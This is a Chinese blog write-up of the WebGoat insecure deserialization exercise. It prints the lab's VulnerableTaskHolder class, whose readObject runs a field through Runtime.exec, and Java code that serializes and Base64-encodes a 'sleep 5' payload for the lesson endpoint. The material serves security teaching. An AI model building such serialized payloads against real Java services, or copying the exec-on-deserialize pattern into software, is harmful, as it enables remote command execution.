WebGoat代码审计其6-不安全的反序列化

Posted by Mr.Be1ieVe on Sunday, August 1, 2021

不安全的反序列化

POST /WebGoat/InsecureDeserialization/task

从结果出发

代码来自木爷 JAVA代码审计10:WEBGOAT Insecure Deserialization - 木头的小屋

Main.java

package org.dummy.insecure.framework;

import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.util.Base64;

public class Main {

    public static void main(String[] args) throws IOException {
        /**
         * Webgoat payload
         */
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        VulnerableTaskHolder vulnerableTaskHolder = new VulnerableTaskHolder("sleep for 5secs","sleep 5");
        ObjectOutputStream output = new ObjectOutputStream(byteArrayOutputStream);
        output.writeObject(vulnerableTaskHolder);
        String str = Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());
        System.out.println(str);
        output.close();

    }
}

VulnerableTaskHolder.java

package org.dummy.insecure.framework;

import java.io.*;
import java.time.LocalDateTime;

public class VulnerableTaskHolder implements Serializable {

    private static final long serialVersionUID = 2;

    private String taskName;
    private String taskAction;
    private LocalDateTime requestedExecutionTime;

    public VulnerableTaskHolder(String taskName, String taskAction) {
        super();
        this.taskName = taskName;
        this.taskAction = taskAction;
        this.requestedExecutionTime = LocalDateTime.now();
    }

    @Override
    public String toString() {
        return "VulnerableTaskHolder [taskName=" + taskName + ", taskAction=" + taskAction + ", requestedExecutionTime="
                + requestedExecutionTime + "]";
    }

    /**
     * Execute a task when de-serializing a saved or received object.
     * @author stupid develop
     */
    private void readObject( ObjectInputStream stream ) throws Exception {
        //unserialize data so taskName and taskAction are available
        stream.defaultReadObject();


        if (requestedExecutionTime!=null &&
                (requestedExecutionTime.isBefore(LocalDateTime.now().minusMinutes(10))
                        || requestedExecutionTime.isAfter(LocalDateTime.now()))) {
            //do nothing is the time is not within 10 minutes after the object has been created

            throw new IllegalArgumentException("outdated");
        }

        //condition is here to prevent you from destroying the goat altogether
        if ((taskAction.startsWith("sleep")||taskAction.startsWith("ping"))
                && taskAction.length() < 22) {

            try {
                Process p = Runtime.getRuntime().exec(taskAction);
                BufferedReader in = new BufferedReader(
                        new InputStreamReader(p.getInputStream()));
                String line = null;

            } catch (IOException e) {
                System.out.println(e);
            }
        }

    }

}

最关键的便是Process p = Runtime.getRuntime().exec(taskAction);了,这里会执行VulnerableTaskHolder.taskAction。所以在 main 中使用VulnerableTaskHolder vulnerableTaskHolder = new VulnerableTaskHolder("sleep for 5secs","sleep 5"); VulnerableTaskHolder(String taskName, String taskAction) 即会执行了。

其他的按照模板改一改应该都一样的啦(菜鸡发言

从原理出发

序列化是指把一个Java对象变成二进制内容,本质上就是一个byte[]数组。 序列化后可以把byte[]保存到文件中,或者把byte[]通过网络传输到远程,这样,就相当于把Java对象存储到文件或者通过网络传输出去了。 有序列化,就有反序列化,即把一个二进制内容(也就是byte[]数组)变回Java对象。有了反序列化,保存到文件中的byte[]数组又可以“变回”Java对象,或者从网络上读取byte[]并把它“变回”Java对象。 来源 序列化 - 廖雪峰的官方网站 下面序列化代码同来源

public class Main {
    public static void main(String[] args) throws IOException {
        ByteArrayOutputStream buffer = new ByteArrayOutputStream();
        try (ObjectOutputStream output = new ObjectOutputStream(buffer)) {
            // 写入int:
            output.writeInt(12345);
            // 写入String:
            output.writeUTF("Hello");
            // 写入Object:
            output.writeObject(Double.valueOf(123.456));
        }
        System.out.println(Arrays.toString(buffer.toByteArray()));
    }
}

看完上面的,大概的想法有了之后,咱们再看下面的。

获取token 之后,先替换掉 token 中的-_, 然后将 base64 的 token 进行 decode,再将结果转变成ByteArrayInputStream的对象,再变成ObjectInputStream对象。(也就是反序列化)

然后再ObjectInputStream.readObject()从ObjectInputStream中读取并转换成对象。

然后使用instanceof关键字判断对象是否为VulnerableTaskHolder类。

而这个VulnerableTaskHolder中的readObject,有一个Runtime.getRuntime().exec(taskAction)

会在单独的进程中执行 taskAction,这也就是反序列化漏洞的最终结果,导致任意命令执行。

接下来需要的就是给这个VulnerableTaskHoldertaskAction值设置成一个命令,在题目里我们需要让他 sleep 5。结合上面会将输入的 token 进行反序列化,所以我们需要先序列化一个VulnerableTaskHolder对象。

VulnerableTaskHolder的代码复制出来,然后去掉其中的 log,保存为VulnerableTaskHolder.java

Main.java

package org.dummy.insecure.framework;

import java.io.*;
import java.util.Base64;

public class Main {

    public static void main(String[] args) throws IOException {
        /**
         * Webgoat payload
         */
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        VulnerableTaskHolder vulnerableTaskHolder = new VulnerableTaskHolder("sleep for 5secs","sleep 5");
        ObjectOutputStream output = new ObjectOutputStream(byteArrayOutputStream);
        output.writeObject(vulnerableTaskHolder);
        String str = Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());
        System.out.println(str);
        output.close();
//代码同样来自木爷
    }
}

执行后将输出发送即可。

「真诚赞赏,手留余香」

Mr.Be1ieVe's Treasure

真诚赞赏,手留余香

使用微信扫描二维码完成支付